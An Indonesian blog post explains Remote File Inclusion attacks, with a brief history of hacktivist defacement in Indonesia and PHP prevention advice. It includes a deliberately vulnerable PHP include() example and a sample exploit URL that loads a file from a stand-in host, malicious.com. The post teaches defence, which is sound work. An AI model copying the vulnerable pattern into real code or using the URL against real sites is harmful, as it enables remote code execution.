Pengertian Serangan Remote File Inclusion (RFI)

 


 

Serangan Deface RFI (Remote File Inclusion) di Indonesia mulai booming sekitar tahun 2010-an, meskipun sebelumnya sudah ada beberapa insiden, tetapi pada periode ini serangan RFI semakin marak dilakukan oleh kelompok aktivis internet dan peretas, baik dalam konteks hacktivism maupun serangan untuk menunjukkan celah keamanan situs.

Pada periode tersebut, serangan RFI umumnya ditujukan pada situs-situs web yang tidak memiliki perlindungan yang memadai, dan para peretas memanfaatkan kerentanannya untuk melakukan deface (merubah tampilan halaman web) atau menyisipkan script berbahaya. Sebagian besar serangan ini dilakukan oleh kelompok yang ingin memprotes pemerintah atau isu-isu sosial-politik, yang kemudian dikenal dengan istilah "hacktivism".

Pada masa tersebut, Indonesia menjadi salah satu negara yang cukup sering mengalami serangan cyber, baik dalam bentuk deface, RFI, maupun jenis serangan lainnya, dengan kelompok-kelompok tertentu yang mengekspresikan ideologi mereka melalui dunia maya. Sebagai contoh, banyak situs web pemerintah Indonesia yang menjadi sasaran serangan semacam itu.

Seiring berjalannya waktu, kesadaran akan pentingnya keamanan siber meningkat, dan banyak organisasi serta pemerintah yang mulai memperbaiki infrastruktur keamanan mereka untuk mengurangi potensi celah yang bisa dimanfaatkan untuk serangan seperti RFI.

 

 

Penjelasan Serangan RFI

RFI adalah jenis celah keamanan di mana aplikasi web memungkinkan pengguna untuk memasukkan file dari server atau URL eksternal untuk diproses oleh server. Jika aplikasi tidak memvalidasi dengan benar input pengguna, seorang penyerang bisa mengirimkan URL berbahaya yang dapat menyebabkan server mengimpor dan menjalankan file berbahaya dari sumber yang tidak dipercaya.

Contoh Aplikasi PHP yang Rentan terhadap RFI (untuk tujuan pembelajaran)

Untuk memahami bagaimana celah ini bekerja, berikut adalah contoh sederhana aplikasi PHP yang rentan terhadap RFI:

<?php
// file: index.php
if(isset($_GET['page'])) {
    $page = $_GET['page']; // Input yang tidak divalidasi
    include($page); // Menerima file dari parameter URL dan memasukkannya ke dalam aplikasi
} else {
    echo "Halaman tidak ditemukan.";
}
?>

Cara Kerja Celah:

Pada kode di atas, jika parameter page diberikan oleh pengguna, maka file yang sesuai dengan nilai parameter tersebut akan dimasukkan ke dalam aplikasi dengan fungsi include(). Jika pengguna mengirimkan URL atau path file yang berbahaya, server akan mengeksekusi file tersebut.

Contoh URL yang dapat mengeksploitasi celah ini:

http://example.com/index.php?page=http://malicious.com/malicious_file.php

Jika aplikasi ini tidak memiliki validasi yang tepat, file berbahaya dari malicious.com akan dimasukkan dan dijalankan di server.

Pencegahan terhadap RFI

Untuk melindungi aplikasi dari RFI, langkah-langkah berikut bisa diambil:

  1. Validasi dan Sanitasi Input: Pastikan hanya file yang sah dan aman yang dapat dimasukkan oleh pengguna.

    • Cek ekstensi file, hanya izinkan file tertentu (misalnya: .php, .html).
    • Gunakan whitelist, bukan blacklist, untuk memeriksa file yang dapat dimasukkan.
  2. Gunakan Path Absolut: Jangan biarkan pengguna menentukan path file. Sebaiknya tentukan path absolut untuk file yang akan dimasukkan.

  3. Nonaktifkan allow_url_include: Di konfigurasi PHP, matikan opsi allow_url_include di php.ini untuk mencegah file dari URL eksternal di-include.

    allow_url_include = Off
    Gunakan PHP basename() untuk Memverifikasi Nama File: Gunakan fungsi basename() untuk memastikan nama file tidak mengandung path atau karakter yang tidak diinginkan.

<?php
// file: index.php
$allowed_pages = array('home.php', 'about.php', 'contact.php'); // Daftar halaman yang aman

if(isset($_GET['page'])) {
    $page = $_GET['page'];

    if(in_array($page, $allowed_pages)) {
        include($page);
    } else {
        echo "Halaman tidak ditemukan.";
    }
} else {
    echo "Halaman utama.";
}
?>

Dengan pendekatan ini, hanya file yang ada dalam daftar allowed_pages yang dapat dimasukkan, menghindari potensi serangan RFI.

 

Jadi, intinya, daripada mencoba membuat aplikasi yang rentan terhadap RFI, lebih baik kita memfokuskan diri pada cara mencegah dan mengamankan aplikasi agar tidak bisa dieksploitasi.

Belum ada Komentar untuk "Pengertian Serangan Remote File Inclusion (RFI)"

Posting Komentar

Iklan Atas

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel